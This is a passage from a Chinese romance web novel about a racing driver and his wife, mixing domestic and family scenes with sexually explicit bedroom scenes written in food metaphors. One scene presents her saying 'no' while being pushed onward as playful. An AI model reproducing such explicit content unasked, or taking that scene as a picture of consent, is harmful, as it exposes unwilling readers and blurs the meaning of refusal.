她脸红透了,“傅……傅蔺征……”
她想努力抓住浮萍游到岸上,却被他反作用摁下海面。
傅蔺征遇到小姑娘后,特别喜欢吃她平时会买的芋泥奶贝,先来来**舌忝掉面上撒的奶粉和,里头就是两片松软的蛋糕。
他一边吃着蛋糕,一边的舌飞速去卷扫着两片面包里夹心的芋泥卡仕达酱,卡仕达很多,必须竭力吞下,才能品尝美味。
窗外夜深露重,霓虹灯火逐渐熄灭,分针转过一角,容微月如濒临死亡的小鱼,半晌泪花决堤成了一串泪珠,娇滴滴哭着扑倒。
小鱼被翻了个面,容微月后背靠着他硬朗的胸膛,男人抹了脸,气息沉沉,收紧硬朗的臂膀牢牢抱住她,锢住她下巴掰过来,寻索她呼吸,蹙起眉峰喟叹:
“宝宝,你*好多啊,甜**。”
容微月面颊如红灯映雪,小口呜呜哭着:“傅蔺征讨厌你……”
男人咬她耳垂:“不喜欢么?只有老子能让你这样,今早你还担心不幸福,现在还担心么?”
对付小猫咪,他有无数种方式。
傅蔺征平日里没少钻研,对她无比了解。
她羞得说不担心了,此刻芋泥奶贝松软塌扁下来,猫爪子开始挠人,傅蔺征故意逗问:“怎么了?”
容微月小声问:“老公,为什么饿了……”
心躁炸开,傅蔺征黑眸深红,在她耳边浑道:
“因为老公平时都把你一日三餐口畏特别饱,我出差了,宝宝好多天都没吃了,嘴和手根本不管用,你要吃更大的才会饱,知道么?”
容微月心跳怦怦怦,男人低蛊问:“现在要不要吃?想吃多久都可以。”
她咬唇,“可你腰疼着……”
他低笑,“我躺着,宝宝自己来,反正你越来越会,不需要我教,对不对?”
小猫咪在逗猫棒面前的自制力为负二十二点五。
男人补给她了。
她皮肤精致如白瓷,在昏黄灯光下格外漂亮,柔顺如海浪的黑发微乱,如小猫的浓颜系五官标致,一双眸子勾着情丝。
空空的泡芙,通过机器注入甜甜的卡仕达奶油,瞬间暴满。
傅蔺征勾唇看她:“宝贝好棒,今天一口chi下了。”
容微月眼底泪盈盈,却仍旧大胆,眨着水眸看他:“喜欢……”
傅蔺征唇角弧度涌现,和她十指紧扣:“喜欢就好。”
好风凭借力,送人上青云。
傅蔺征牌专属摇摇车再度开业,小姑娘如今已经轻车熟路,也格外了解他。
窗外的鹅毛大雪越下越大,
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风吹得呼呼乱响,她也是如此,傅蔺征眼底通红,青管凸峥的手臂紧紧箍住她,低哑:“宝宝,忄曼点。”
他真的要……
“才不要,”她发丝都在跳舞,“喜欢吗?”
傅蔺征气音沉沉:“……喜欢得要疯了。”
分钟滴滴答答转着,直直小姑娘扑下,傅蔺征眼底翻沉,倾身而来,如疾风的吻铺天盖地笼罩她。
她泪眼如窗外的雪。
傅蔺征抹掉她眼泪,重重呼吸:“你想彻底弄疯我是吧?”
容微月想到他刚刚的模样,弯眉软声道:“老公,你刚刚喘得好好听,我把你榨出来了。”
男人笑,“好棒啊。”
三分投篮命中垃圾桶,傅蔺征看着怀中的她,嗓音勾魂:“宝贝缓一缓,帮我再榨一轮好不好?”
她脸颊通红,他的吻落过来,她主动攀住他的脖子,阖上眼眸。
-
风声和雪共舞,蝴蝶纷飞。
又是天上人间。
晨光乍起,窗户微明,天边泛起一线微光。
小猫咪作业去旅游了,目的地是棉花糖海,跌落海中在里头滚了一圈,甜丝丝的,漉漉的还沾了很多樱花花瓣。
直至抱起来,傅蔺征看着怀中的小姑娘,面颊如红柿子,微乱的黑发被汗黏在细颈,他要被她可爱**,笑:“宝宝是只乱糟糟的小猫咪了。”
容微月都快说不出话了:“小猫要不喜欢你了……”
傅蔺征勾唇,吻掉她的眼泪低哄。
被子都被地毯拥抱,灰色船单片片深色,鞭子,**,快乐液,好几个雨伞外套,战场狼藉一片,若是外人看到都难以想象这恐怖程度。
傅蔺征向来坏到骨子里,什么话都说,什么玩的都来,一般保守的女孩肯定羞得受不了,但偏偏容微月向来大胆,主动又大胆,还会反钓回去。
谁敢想到,外表清柔素雅的她私底下会是这样一面,极度反差,而这一面也只有傅蔺征知道,他难忘到从六年前记到现在,每每回想都难以割舍。
两人完美配搭到极致,对于他们来说这种事不是羞耻,和喜欢的人一起很美好的。
甜蜜温存,傅蔺征想要抱她去售后,但容微月顾及到他受伤,死活不同意,说自己来。
最后躺到隔壁的卧室,第二天早晨,双方没工作,都睡到了中午。
容微月醒来,伸了个懒腰,就感觉腰间劲瘦的手臂把她收紧,捞回温热的怀中。
她转头就对上傅蔺征的目光,男人赤着侧躺,肌肉覆着小猫爪痕,冷厉的五官被日光镀上柔和,他宛若看着她的黑眸透着宠溺:
“宝宝醒了?”
她懵然眨眨眼,钻入他怀中:“你什么时候
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醒的……”
“醒一会儿了看你睡觉”傅蔺征亲亲她脸颊低声道“宝宝好可爱啊小小的跟小猫一样看着看着我就*了。”
“?”
她羞得嗔他还是忍不住关心:“你腰还疼吗?今天怎么样?”
傅蔺征懒声道:“没事。”
容微月皱眉不信:“说实话。”
男人只好道:“……还有点疼。”
她担忧地立刻去拿药膏傅蔺征趴着日光落在他宽阔的肩背上她帮他揉着皱起眉头:
“傅蔺征下次不许你再放纵了你的腰伤万一严重了影响以后比赛怎么办……”
男人轻笑:“昨晚是谁先穿成那样来勾老子的?老子出差好几天没吃本来就饿**你还敢来招惹?”
那白蕾碎布现在还在淋浴间的地上。
她每次穿这种他都跟狼似的。
昨晚榨果汁的时候机器因为耗电过度不如刚开始的功率小姑娘娇气关掉机器**傅蔺征眼睛被逼得通红反客为主掐住她身子手工进行狠扌岛。
她眼前都晃出了残影。
那近乎到恐怖的爆发力让她哭得喉咙都哑了到十来分钟才缓过来咬他踹他又忍不住说好喜欢整个人乱成一团浆糊。
这人不愧是顶级赛车手白天驾驭着全世界最快的赛车晚上的车也能开成这样QAQ.
容微月面颊泛红心虚又愧疚:“反正接下来你必须要静养了我们都互相控制点。”
“行啊你别那么馋我就行。”
她弯眉“明明是你馋我……”
“那昨晚谁抱着我说还没饱?”
容微月羞得脸红按着他腰的手用力男人倒吸一口冷气:“宝贝你要**亲夫啊?”
“叫你再乱讲话……”
打情骂俏了会儿容微月帮他涂完药膏陪他一起去洗漱。
都弄完傅蔺征去隔壁洗被单小姑娘走过去看到就羞得想走就被傅蔺征抓住揶揄:“跑什么这不是你弄的?”
“明明是你没你我会这样吗……”
傅蔺征低笑在她耳边道:“宝宝明明是你里面装了个口贲泉用手多用嘴也多每次都要脱水。”
就像餐饮店里的饮料饮品机源源不断杯子往铁板一顶就哗啦啦出来好多果汁。
容微月羞得咬他一口命令他全部拿去洗了。
中午简单煮了经典的意大利面家政阿姨也来大扫除容微月去给傅蔺征炖晚上喝的滋补的汤药。
彰叔照例又来给傅蔺征热敷拔罐傅蔺征趴着彰叔按了按他后腰发现他更疼了
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下去,你今天会好很多啊,没有静养?
小姑娘坐在旁边,闻言心虚忐忑,傅蔺征轻咳一声,舌尖抵了抵腮,“就……还好吧。
彰叔:“?
不是,什么叫还好??
彰叔拿出拔罐工具,也没再说什么:“衣服撩开。
傅蔺征照做,于是彰叔就看到他精壮的后背上,潮汐刺青张扬野性,上头泛着许多细微的红痕,如小猫挠过。
彰叔看到傅蔺征微妙的表情和一旁脸颊酡红的小姑娘,反应过来,无奈几分。
啧,现在的年轻人啊,莽撞,太莽撞了……
容微月也看到了,羞得想哭。
客厅里沉默了好几秒,彰叔拔罐,忍不住叹气,提醒道:“伤没好之前,忌剧./.烈运动,凡事必须节./.制,好好静养。
彰叔幽幽看他俩一眼:“小姑娘身体也是刚刚调养好一点,也得好好保养,留得青山在不愁没柴烧,要落下病根,以后心有余而力不足,那就麻烦咯。
同时被内涵的傅蔺征和容微月:“……
容微月脸颊红到了脖子根。
呜呜呜好羞……
末了拔罐完,彰叔离开,容微月抱着呼呼,把脸埋在小家伙身上,傅蔺征把她抱过来,轻笑,“这么害羞啊?
她羞得咕哝,“我忘记你今天要拔罐了,彰叔肯定发现了……
“能不发现么?他亲亲她耳垂,扯唇嗓音低撩,“老子背上都是你挠的,谁能看不出来我们做了什么啊?之前去训练,你以为我车队的人都没发现?下次要把小猫的手继续铐起来。
过分,那她身上也是很多他留下的……
她严肃道:“反正接下来不能胡闹了,我们保持一米社交距离,互不冒犯,晚上分房睡,我和呼呼一起。
傅蔺征脸黑,“你敢?
把想逃的她拉回怀中吻到表示知错了,傅蔺征凶道:“胆子还挺大,还敢提分房睡?
她弯眉轻哼,低头看着呼呼,“你看爸爸多坏,都不同意你和我一起睡。
呼呼耷拉着脑袋,耳朵扑扑,男人散漫道:“这叫不给它养成坏习惯,以后每天晚上都赖我们房间不走了,那还得了。
容微月笑,心疼摸摸呼呼的头。
拔罐完,傅蔺征继续在家休养,容微月也出门去趟工作室处理点事,晚上再回来给他做饭。
接下来的几天,容微月上午去工作室,下午就待在家里照顾傅蔺征,男人就居家处理工作。
霓映枝也知道了儿子拉伤的事,和傅司盛特地上门来探望,带来一堆好吃的,还叮嘱阿姨每天送炖品过来。
家中饭香和药香交织,日子平淡而悠然。
好
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在傅蔺征身体好恢复得很快调理一周后就没有了大碍。
但他却仍旧装着疼这一周小姑娘各种贴心照顾又可爱又乖他就惯会用苦肉计哄她做某些事。
例如让她帮忙洗澡时训练戒尺;晚上他故意说冷就让她光着在他怀中睡觉把她亲了个遍惹得她红着脸骂他流氓;还有白天他让她黏在他身边随时随地都想要和她贴贴。
容微月喜欢他抵抗不了自然也对这人百依百顺。
傅蔺征也要喝中药低声道:“宝宝我这药太苦了喝完难受。”
容微月切身体会过倒也真的相信了看他皱眉痛苦的样子担忧问:“那怎么办?”
他垂眼悠然看她:“有糖么?”
“有我喂你呀。”
她撕开一颗青橘糖男人接过把她抵在餐桌前嗓音低撩:“不用你吃。”
她懵然被他喂了一颗糖还没反应过来傅蔺征扣住她后颈俯身灼灼气息笼下:
“然后我吻你就好了。”
他卷着她口中的青橘糖搅动青橘糖的酸甜滋味在两人唇间化开中药的苦味早已被冲散只余甜蜜的绵缠。
结束后傅蔺征看着她亮晶晶的眸子勾起唇角嗓音低磁:“嗯现在这样不苦了。”
她面颊泛红嗔他。
这人要不要这么会……
一周后的周末霓映枝也打电话来叫两个孩子回老宅吃饭盛柳和容承业也被邀请上一同来个家庭聚餐。
如今容微月已经完全融入傅家傅老爷子还有傅家父母都很疼爱她老爷子常拉着她喝茶下棋谈花丝镶嵌工艺;霓映枝待她如女儿带她逛街、尝好吃的菜馆和点心;傅司盛也常夸她细心聪明
她在傅家人面前可以特别放松他们很包容她弥补了前二十几年她所缺失的家庭的爱。
下午傅蔺征和容微月带上呼呼回了傅宅。
傅老爷子在茶室里招待其他客人傅司盛和霓映枝要处理点工作于是容微月和傅蔺征就坐在小厅里喝茶吃甜点。
午后室内茶香氤氲雪梅映窗炭炉温暖。
傅蔺征靠在黑梨木沙发上姿态懒散一双长腿微敞目光却始终落在不远处的小姑娘身上拖腔带调唤她:“宝贝我要吃个桃酥你喂我下。”
容微月正倚着窗外看雪景转头看到他只要身子往前一靠就能拿到茶几上的桃酥无奈笑:“傅蔺征你是腰疼又不是瘫痪了自己不能拿呀?”
傅蔺征低懒言:“我腰疼只能靠着就让你喂我吃个东西而已之前谁说爱我、会照顾我一辈子来着?”
“……
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
傅蔺征转着手上的黑绳项链,叹了声气:“结婚的时候说好无论生老病死都互相
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扶持,不离不弃,终究都是镜花水月,算了,这桃酥不吃也罢。
容微月失笑,都不知道这人是怎么这么戏精的,走过去,拿起茶几上的桃酥,递到他嘴边:
“来来来,我喂你。
而后她手腕被攥住一扯,她就跌坐在他怀中,身子被他牢牢圈住,容微月对上他桀骜挑起的眼,羞赧反应过来:“你就是故意把我骗过来的吧……
傅蔺征扯唇,“站那么远干什么?让我只可远观不可亵玩。
她不禁笑,不知道这人一天天说的什么话,打他手臂:“你放开我,等会儿爸妈来了看到……
“看到又怎么样,新婚小夫妻你侬我侬,他们没见过?
她羞得脸热,从他怀中钻出来,“不管你了,我要去附近逛逛。
“容微月。
她往外走,头也不回。
傅蔺征叫了几声都没把她唤回来,故作倒吸一口冷气,固定套路开口:“月月,我腰突然很疼,好像抽筋了,你过来帮我按摩下。
后方没反应,傅蔺征叹气:“容微月,我腰都快断了,估计这次是彻底废了没得救了,算了,我自生自灭吧。
话音未落——
后方忽然传来一道中年男声:“阿征,你的腰……没事吧?
傅蔺征闻声倏地转头,就看到盛柳和容承业站在小厅门口,震惊地看着他。
旁边的小姑娘压下唇角,正努力憋笑。
“……
空气安静了两秒。
傅蔺征怔了怔,轻咳了声,立刻站起身:“爸、妈,你们来了,请坐。
盛柳和容承业赶忙先让他坐下来,别动弹,“阿征你这腰还好吧?这是怎么了,受伤了?
容微月含笑接话:“阿征训练受伤了,特别严重,你们刚刚不都听他说了么,这次估计是彻底废了。
傅蔺征:“……
男人对上小姑娘狡黠的眸,舌尖抵着后槽牙,压下唇角给了她一个“你记着
盛柳担忧:“阿征平时训练很辛苦啊?一定要注意身体,年纪轻轻的不要落下病根,月月你要好好照顾他。
容微月对上傅蔺征的眸子,笑盈盈:“嗯,我知道,结婚的时候我们就说了,无论生老病死都互相扶持,不离不弃,他就算再严重,我也会陪在他身边的。
傅蔺征:“……
行,还把他的话还回来了。
一旁的容承业不知道两个孩子在开玩笑,皱起眉头:“那不至于,怎么就生老病**?
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
你们还年轻,这个腰疼平时保养好还是有得治的,阿征,我那边款特别好的膏药,明天送来给你,你坚持用。”
怎么就有得治了?
“……好的谢谢爸。”
没过多久,霓映枝和傅司盛开完会过来,两方家长寒暄过后,一起去正厅喝茶。
很快傅老爷子也送走了客人,来到正厅,加入热络的聊天。
霓映枝用水冲泡开茶,谈到傅蔺征的腰伤,含笑感慨:“阿征从小到大玩赛车,动不动大伤小伤,六年前那次车祸后我们也希望他转行来着,但是他太喜欢赛车了,我们怎么着都劝不动他,也只能依着。”
盛柳心疼看向傅蔺征:“阿征很辛苦,一定要好好照顾好自己,年轻的时候透支太多,以后容易出问题。”
“……”
怎么感觉越描越黑了……
他指腹按了按太阳穴,头疼解释:“嗯,我现在身体真没什么事,挺好的。”
迟些时候两家人用晚餐,饭桌上大家聊了今年容微月和傅蔺征婚礼的事,做了初步规划,如今已经进入筹备阶段了。
氛围其乐融融,饭后茶叙到了九点多,盛柳和容承业要回去了,老爷子挽留俩孩子:“这么晚了,阿征和月月就别走了,在家里住一晚吧。”
如今他们也希望孩子在家里多住住,这样家里也多点欢声笑语。
容微月看向傅蔺征,后者握住她的手,挠挠掌心,悠然道:“行啊。”
反正现在除了结婚证,随身携带的就是套了。
在哪儿睡不是一样?
两人又和长辈们聊了会儿天,而后上楼,二楼的卧室已经被收拾好了,房间古色古香,推门便能看见后花园,隔壁则是霓映枝和傅司盛的卧室。
房间里一切如新,洗漱用品都准备好了,傅蔺征和容微月去洗了澡,出来后小姑娘去沙发上处理个稿子,傅蔺征则去帮她洗内内和bra,晒在阳台上。
容微月忙着,过了会儿手机进来电话,是盛柳。
她接起,“喂,妈。”
盛柳柔声道:“月月,我和你爸到家了,和你说一声,你爸刚刚去找了膏药,明天派人给你送来,你给阿征。”
“好,谢谢妈。”
傅蔺征忙完走过来,坐到她身边,搂住她的款款细腰,她依偎在他怀中,开了免提和他一起听,电话那头,盛柳又道:
“对了月月……妈问你一件事啊。”
“什么事?”
盛柳犹豫片刻,还是忍不住问出心头疑惑:“妈没有别的意思,这件事你也别问阿征,就是他六年前出了车祸,这次腰伤他还说彻底废了。”
盛柳担忧问:“就是他身体没留下什么大毛病吧?会不会影响
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
你们以后……要孩子啊?我就担心他看过去强壮,实际上很虚弱啊?”
傅蔺征:“…………”
看着傅蔺征成黑炭的脸,容微月笑得眼睛眯成一条缝,就被搂住面对面坐在怀中,男人压低声音在她耳边咬牙切齿道:“和你妈澄清。”
容微月弯眉,故意对电话那头的母亲道:“这个我也不知道,可能有一点吧。”
傅蔺征:???
盛柳叹气:“没事没事,年轻人调养得来,我这天买些海参鹿茸送过去,你给他滋补。”
“好……”
她话音还未落,唇瓣就被封住,男人气息重重松进来,瞬间掀热。
她连忙攀着他,咬着唇轻唔了声,忙分出呼吸,对电话那头道:“妈,我有点事就先不说了……”
“好早点休息啊。”
挂了电话,傅蔺征就把她打横抱起,强烈的进攻感拉响警报,容微月脸红心跳抱住他:“傅蔺征,我开玩笑的……”
呜呜呜完了完了……
傅蔺征把她扔到被褥上,抓住她脚踝,一把扯过来,身躯如一堵墙压下。
“嘶——”
睡裙被撕,皮肤传来凉意,她瞪大眼睛:“傅蔺征……”
“——可能有一点吧?”
他似笑非笑,直勾勾看她。
容微月委屈又想笑:“那明明是你自己说彻底废了,这也能怪我吗……”
“那老子是在开玩笑,你不帮我澄清,还说我很严重?今晚我还没找你算账。”
“我错了,我开玩笑的……”
“开玩笑的下场是什么,宝宝?”
傅蔺征按住她的月退,“手抱住,分开。”
她脑中一震,说不要,却被迫像一个蜷缩起来的芝士虾球,俯首称臣,婚戒抽刀断水,容微月咬着唇哭出来,傅蔺征甩了甩手,扯起唇角:
“都这样了,还说不要?”
窗外不知何时放起了烟花,傅蔺征把她抱起,小姑娘眼尾睫毛挂着泪珠,娇滴滴的软糯嗓音试图唤起他的悲悯:“我开玩笑的,我明天就帮你去和我妈解释好不好……”
“实际行动不比口头解释好?”
她眼睫翩跹,耳朵被咬住,傅蔺征嗓音沉沉:“你爸妈不是担心我身体不好?”
男人覆着薄汗的宽大身躯将小猫咪完全圈住,咬她耳垂,喑哑嗓音夺魂摄魄:
“宝宝,我们要不要试试不戴,直接把奶油guan进去,再堵一个晚上,看看你什么时候能怀孕?”
〓作者有话说〓
[眼镜][眼镜][眼镜]傅蔺征你当个人,每天满脑子就是芋泥奶贝啊奶油啥的[害羞]
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第 64 章 “我昨晚没睡好,都怪你。”...
第64章第六十四章
【“我昨晚没睡好,都怪你。”】
chapter64
一月京市深冬,天空飘着点细雪,薄薄一层无声覆在枝头,傅家府邸浸在满了寒意的夜色中,四下皆静,只余灯火在风雪间微微摇曳。
深夜时刻,主宅许多灯都已熄灭,长辈们和佣人们都回到房间,唯独二层的一间卧室宛若一隅秘境,橘黄灯光未散,映着窗外的雪影,渐渐生暖。
黑梨木上丝绸被褥柔软,正中央,娇柔较好的女人一身撕了口的雾蓝色真丝睡裙,圆臀柳腰,乌发柔顺,白瓷细腻,细弯长眉下的眸如秋日里落满枫叶的湖泊,白皙的面容浮现胭色。
娇小的布偶猫被困在男人怀中,男人肩宽腰窄,公狗腰上的人鱼线鲨鱼线沟壑明显,肌肉线条在光线下分明,血性拉满。
那份体型身高差异带来的压迫与悬空感,不禁让人心跳失序。
高中的时候,傅蔺征就为她查过科学资料,如果身高和那儿差距过大的话会不会影响,结论是平躺时身高不重要,双的倍体型差覆盖感更好。
重要是氵罙度管理与角度匹配,要找到匹配的骨盆契合点,仰卧或侧躺,同时浅而缓才友好。
谁知这人真正开了荤以后,压根和教导的背道而驰,早就查到的资料抛到九霄云外。
这人怎么哪里都让人这么吃力……
此刻听到男人过分又大胆的话,容微月面颊如被烘烤的小番茄,嗔他:“傅蔺征,你还有伤呢,不能胡闹……”
男人虎视眈眈的黑眸悬停在她眼前,看到小姑娘像被月色浸染过,眉眼风情都美到无与伦比,他气息被眼前的她勾得发乱,嗓音沉沉如沙:
“谁跟你说还疼着?我身体这么好,修养都快两周了怎么可能还没好?”
她眼尾忍不住弯起,嗔打他:“那你这几天还装疼,就知道你是骗我的……”
傅蔺征唇角勾起野痞弧度:“也没骗你啊,老子白天疼,一到晚上就好了,不行?”
这人就是把流氓写在脸上……
傅蔺征掌心如鱼在海底礁石中穿行,一点点蚕食她的理智,他气息渐重,浑坏问:
“宝宝,那要不要试试,嗯?”
想到他形容的画面,容微月攀着他肩膀,耳根如煮熟的虾,害羞的声音像被浇了层糖霜:“那肯定会很快就有的……”
“有什么啊?”傅蔺征笑意更深。
容微月不想回答,他故意哄,她羞赧眨巴着眼只好道:“有……有小宝宝的……”
烤肠里面的芝士夹心那么多。
没拦着都吃了,肯定会很快有的。
傅蔺征要被她这模
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样可爱**,也要勾**,黑眸如墨浓重,抚她肚子,“所以可以不戴么?”
她那双澄澈的杏眸泛起细细涟漪,耳根红透,认真得思考了几秒,鼓起勇气轻轻应:“可以呀。”
听到她直接的回答,傅蔺征喉结一紧,呼吸间的克制几乎裂崩,他低笑俯身,唇擦过她的脸颊,声线暗哑:“宝贝,你怎么这么乖啊。”
她今晚是听话小猫,傅蔺征要疯了,指腹捻辗她嫣红的唇瓣,黑眸炽炽:“你知不知道,你这么乖,会让老子觉得今晚提什么要求你都会答应的。”
她纯着眸看他:“那你想让我答应什么要求啊?”
傅蔺征让蝴蝶翩跹,掌心薄茧游走,喉结滚动,气息沉沉:“比如一起泡澡,宝宝可以躺在我怀里,或者gui在浴缸边,然后我们再去阳台,把你压在栏杆上,然后再抱你去楼下庭院,我们坐在秋千上玩好不好?我可以让秋千荡得很快。”
他幻想着,黑眸暗得发烫,哑声道:“那样感觉一定很好,我们可以炒菜到天亮,宝宝肯定没多久就怀上了。”
傅蔺征坏得毫不遮掩,容微月听着满脸酡红,羞得不行:“傅蔺征你疯了……等会儿家里人都发现了……”
老宅几十号人,他俩的动静向来不小,但凡是这架势,全部的人都要知道了……
傅蔺征指尖在她发间缠绕,盯着她:“这个不愿意,生宝宝就愿意了?”
这能对比的吗……
她害羞说这个不一样,傅蔺征闻言,摸着她脸,声音和她呼吸交织:“所以月月愿意和我要个孩子么?”
她怔了怔,澄澈的眸望他,酒窝点起:
“当然愿意了……”
怀孕是很辛苦的事,但是如果孩子的父亲是傅蔺征,她从未有过半分退缩。
而且他们也结婚了,她当然愿意。
听到他这么说,傅蔺征心口发热,俯身满了爱意的气息落下,“好爱你啊。”
他勾着她红唇,清冽的薄荷气息和清甜织交,气息随着沿着她的天鹅颈蔓延。
窗台上那株蓝花楹清韵雅致,在暖气中枝叶舒展,盎然绽放。
缱绻的时间一分一秒走过,半晌衣物被地面拥抱,傅蔺征抱着她起身,拿出带回老宅的套,容微月看到呆住:“你不是说不用吗……”
傅蔺征把她抵在墙上,哄她来,啄啄她红唇,柔声道:
“是不想,但是宝宝你现在体质差成这样,我怎么放心你怀孕?”
在她身体没准备好之前,他不会让她冒一点风险,怀孕是很辛苦的事,何况他们的婚礼还没办,至少也要等婚礼结束。
傅蔺征跟逗小猫似的,摸摸她下巴,低笑:“这个宝宝我都还没
听说看这本书的人都是很幸运的,分享后你的运气会更棒
养好,哪有心思养另外一个宝宝?眼前这个才最重要。
她面颊泛红,“我还以为你说认真的呢……
“反正早晚的事,他含笑咬她耳垂,“过程我们得先不断模拟,对不对?
她脸红,这人从高中毕业就开始模拟了……
傅蔺征抱着她,跌入柔软,扯过抱枕垫高她,青脉凸峥的宽大手掌按住她细腕,黑眸灼灼,戏谑言:
“而且二人世界老子还没过够,平时呼呼就够烦了,我还要再造个更亮的电灯泡?
容微月心跳如鼓,不禁主动吻上他:“嗯,我现在也只想有你。
夜色温柔地铺开,灯影柔黄,雪轻轻落入后院的清池,堆积一点点莹白。
这张黑梨木床是多年前的纯手工定制,价值连城,工艺精湛,但毕竟年岁比傅蔺征还大,木料间的接榫没那么严丝合缝,吱呀声愈发明显。
窗外细微的灯火给宅院覆盖了层淡淡的昏黄色,声音跟着晃。
容微月耳边就跟要地震了一样,眼尾通红,哭哭求他:“傅蔺征,你别那么*,声音太大了……
若从上方俯瞰,傅蔺征利落的背如峭壁般,大片潮汐刺青在灯光下满了野性,宽大的身躯完全将小猫咪完全笼罩在影儿下,肌理在灯光下覆了层薄汗,丝毫不减,黑眸猩红深沉,嗓音低哑如火:
“宝宝,好shuang啊,忄曼不了。
她像一叶扁舟,被扔到大海里,一朵朵泪珠盛开,她把头埋得在肩头,竭力收住小猫叫:“隔壁爸妈要听到了呜呜……
她都感觉墙壁都在经历九级地震……
养伤清水这么多天到现在,所有的力气都攒着用在了此刻,男人把所有的爱意都给她,坏得毫不在意:“听到就听到,小夫妻这样不是很正常?
她羞得想踹他,傅蔺征把她抱起来,薄热含笑的气息落在她耳边:
“宝宝,忍不住叫就咬我。
浩瀚星球坍缩成一方天地,窗外夜色漫漫。
月亮悬在夜空,层层叠叠的青色砖瓦如同坠进墨蓝色的深海。
-
一场航行,小船抵达加勒比海岸。
穿过极大的暴风雨,索性桅杆屹立不倒,最后小船勉强停船靠岸,即将散掉。
傅蔺征带她清洗完回到卧室,换不了房间,只好换了四件套,容微月累呼呼靠在他怀中,气鼓鼓还在咬他,殊不知带来更大的危险。
傅蔺征清水了几天,经过几天静养,此刻只想再度扬帆起航,去深海航行探索,撬开贝壳炙烤蚌肉,潜入深海,看火山喷起,岛屿新生。
容微月困倦着,谁知他真的怎么想就怎么做了,她脑中嗡鸣,面颊酡红:
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“傅蔺征都一点多了……”
哪有吃完烤肠还被抓回店里参加返场的QAQ.
傅蔺征咬着她耳朵混蛋打趣:“没有怀宝宝了埋一整晚这个不得实现?”
???
她脸颊跟涂了西瓜汁似的害怕嗔他男人低哑哄她:“宝宝我不动就含着睡
这人……
没见过这么饿的她拗不过这流氓男人了无困意断断续续惹得她在睡梦中都会脸红害羞把柔韧性好的小猫咪抱来抱去事先答应好的也是假的傅蔺征难得彻底没了理智嘴上低声哄着但一点都不带stop的。
她纵容他的下场就是翌日清晨她就被他用另类的方式叫醒。
顺势而为这人最终的目的达到。
窗外清晨的日光投进来被褥都被地毯拥抱她在他怀中也忍不住勾住他的脖子发丝摇曳。
而后下次睁眼就是九点多。
她动了动感觉像是含了颗话梅酸溜溜的。
窗外冬日的暖光透过白色纱帘照进来容微月从发丝到面容都被照得白皙莹润她像块香香软软的小蛋糕刚转了个身腰间横亘着的手把她搂紧男人低磁的嗓音传来:“月月睡醒了?”
她转头对上傅蔺征的目光他也难得没起来坦着上身乌发朗眉眼眼皮上的黑痣倒映着窗外的日光胸前的月亮刺青上此刻还有个牙印。
回忆浮现脑中容微月脸颊像是蒸了个寿桃包扭过身故意不理他保持社交距离。
傅蔺征笑。
完了把她惹生气了怎么办。
傅蔺征把她搂过来精壮的身躯把她牢牢抱住“生气了?”
她咬唇“你说呢。”
被转过去她看到他眼底散着细碎笑意就好想再咬他一口“我昨晚没睡好都怪你。”
傅蔺征低笑嗓音勾人低哑:“怎么了那样不舒服?”
容微月小声道:“好撑……”
虽然和烤肠店老板已经成为了好朋友但是烤肠老板昨晚抓着她一直喂她吃她都吃撑了还不放她走太过分了……
她控诉:“而且哪有一大早你就、就那样的……”
大清晨她都没睡醒呢不她压根就没好好睡。
男人搂住她低声喟叹:“宝宝你知不知道你那儿能让老子死。”
傅蔺征闻言吻她鼻尖:“而且我一动就咬我你睡着了我还能榨出草莓汁怎么这么厉害啊?”
小姑娘真是个宝贝在睡梦中都会回应他昨晚他就没睡着shu服**加之早晨男人本来就轻而易举自制力基本为负数就忍不住把她叫醒看日出了。
他悠悠然
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道:“好不容易把伤养好了昨晚才一个多小时早晨不来根本不够。”
这对于他来说的确是远远低于平均水平。
不过容微月的确也是喜欢的她对傅蔺征的生理性喜欢实在是太强烈了她勾着他脖子上的古巴链轻哼:“那你饱了吗?”
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他直勾勾看她:“你觉得呢。”
容微月都不知道这人是什么胃口打他:“刚养好的伤
傅蔺征勾唇慵懒感慨:“宝宝现在腰又有点疼了帮我揉揉好不好?”
她压下红唇踹他一脚“滚。”
晚上当狼白天就当绿茶是吧……
说笑打闹一会儿傅蔺征抱着她去洗漱。
容微月看了眼手机才发现时间不早了担忧:“你怎么不早点叫我等会儿爸妈该觉得我太懒了……”
傅蔺征笑着揉揉她脑袋把她圈在怀中:“我们家没这规矩你以为还要像电视剧里的媳妇一样早晨七点多醒来泡茶做早餐再恭敬地叫他们吃饭?”
“唔……”她被逗得脸红。
傅蔺征替她挤好牙膏看向镜子里温软的小姑娘语气轻柔:“宝宝我不知道你爸妈以前怎么教育你的但你现在嫁给我了这儿就是你的家你想几点起就几点起想做什么就做什么不需要给自己立那么多规矩知道么?”
她闻言怔了怔心尖涌起暖意。
男人捏捏她的脸浅笑:“我的傅太太是我费劲千辛万苦娶回来的她在家里就是要被宠成公主骄纵一点也没关系偷懒一点也没关系反正我和我爸妈都很爱你你是我们一家人的宝贝。”
他眉梢挑起“而且我这不是也陪你赖床了?他们肯定知道是我拉着你不让你醒来。”
她被哄得心底柔软好幸运能被这么宠爱着她安心点头软软笑:“其实我今早是真的打算起来做早餐表现一下的。”
傅蔺征扯唇:“就你今早被我弄成这样连一根手指头都动不了还想做早餐?你别低血糖在厨房晕过去。”
“……”
容微月羞得瞪他一眼:“那还不是怪你……”
傅蔺征挑眉给她扎发簪:“嗯怪我所以你好好休息就好。”
过了会儿洗漱完傅蔺征整理了乱糟糟的房间淡定地叫来保姆:“张姨麻烦把床单和被单拿去清洗一下地毯换一个。”
保姆含笑应下也没有任何多余的话。
容微月脸颊一片绯红干脆躲进更衣室不出来傅蔺征忙完过来倚在门边眉眼含笑看她:“容微月你平时在我面前胆子多大啊现在还会害羞?”
“那不一样好吗……”
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平时在他面前,她怎么放开自己都没问题,也只给她一个人看,但是有外人在她就不好意思了。
傅蔺征牵着她下楼,傅司盛已经去公司了,傅老爷子正在后院的凉亭里练书法,呼呼乖乖趴在旁边当着暖手宝,霓映枝在一旁修剪花枝。
看到傅蔺征和容微月下来,霓映枝笑道:“怎么这么早就醒来了啊,不多睡一会儿?”
傅蔺征挑眉看了眼容微月,仿佛在说:【你看到了吧,他们还觉得你醒来得早。】
容微月腼腆莞尔,傅蔺征懒洋洋打招呼,容微月也礼貌道:“爷爷,妈,早上好。”
傅老爷子笑着放下毛笔,看向小丫头:“月月昨晚睡得还好吧?有没有不习惯的?”
昨晚睡得……
